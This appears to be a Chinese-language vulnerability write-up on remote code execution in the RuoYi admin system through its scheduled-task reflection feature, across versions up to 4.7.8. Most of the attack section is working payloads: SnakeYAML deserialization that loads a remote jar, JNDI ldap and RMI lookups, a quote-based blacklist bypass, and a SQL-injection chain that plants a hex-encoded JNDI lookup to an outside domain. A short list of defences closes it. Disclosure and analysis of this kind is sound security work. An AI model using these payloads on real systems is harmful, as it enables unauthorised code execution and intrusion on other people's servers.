若依最新版后台RCE
字数 1209 2025-08-18 17:33:34
若依最新版后台RCE漏洞分析与利用
漏洞概述
若依(RuoYi)是一款基于Spring Boot和Vue.js的前后端分离权限管理系统。在最新版本(4.7.8)中,存在一个通过定时任务功能实现远程代码执行(RCE)的漏洞。该漏洞源于定时任务功能对目标类的反射调用机制存在缺陷,攻击者可以通过精心构造的payload绕过黑白名单限制,最终实现任意代码执行。
漏洞原理分析
定时任务实现机制
若依系统的定时任务功能通过反射调用目标类实现,关键代码位于com.ruoyi.quartz.util.JobInvokeUtil类中:
if (!isValidClassName(beanName)) {
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
} else {
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
系统支持两种调用方式:
- Bean调用示例:
ryTask.ryParams('ry') - Class类调用示例:
com.ruoyi.quartz.task.RyTask.ryParams('ry')
漏洞成因
漏洞的核心问题在于:
- 反射调用时类名、方法名和参数完全可控
- 黑白名单过滤机制存在缺陷,可以被绕过
- 定时任务创建时的过滤与执行时的过滤不一致
历史版本漏洞利用
4.6.2版本及以下
在4.6.2及以下版本,定时任务创建时仅简单检查是否包含"rmi://"关键字,攻击者可利用多种方式实现RCE:
1. SnakeYAML反序列化
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]')
攻击步骤:
- 准备恶意jar包(可使用artsploit/yaml-payload)
- 启动HTTP服务托管jar包
- 通过定时任务执行上述payload
2. JNDI注入
javax.naming.InitialContext.lookup('ldap://127.0.0.1:8085/calc')
3. RMI注入(4.6.2以下)
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
4.7.0-4.7.1版本
这些版本增加了黑名单限制,过滤了ldap、http(s)、rmi等关键字,但可通过单引号绕过:
org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')
绕过原理:系统会将参数中的单引号替换为空,从而绕过关键字检测。
4.7.3版本
增加了白名单限制,只能调用com.ruoyi包下的类,同时修复了之前的绕过方法。
最新版(4.7.8)漏洞利用
虽然最新版加强了黑白名单限制,但仍存在绕过方法:
利用SQL注入修改定时任务
- 利用
GenController中的SQL注入漏洞直接修改sys_job表中的invoke_target字段:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 1;')
- 上述payload中的16进制解码后为:
javax.naming.InitialContext.lookup('ldap://xcrlginufj.dgrh3.cn')
- 执行被修改的定时任务即可触发RCE
防御措施
- 升级到最新版本并应用所有安全补丁
- 加强输入验证,对所有用户输入进行严格过滤
- 限制反射调用的范围,仅允许必要的类和方法
- 实施最小权限原则,限制系统账户权限
- 监控系统日志,及时发现异常行为
总结
若依系统的RCE漏洞展示了从直接利用到逐步绕过防护的完整过程。最新版的漏洞利用需要结合SQL注入和定时任务功能,体现了现代Web应用安全中"漏洞链"利用的典型模式。开发者应重视安全设计,而安全人员则应持续关注系统更新和安全公告。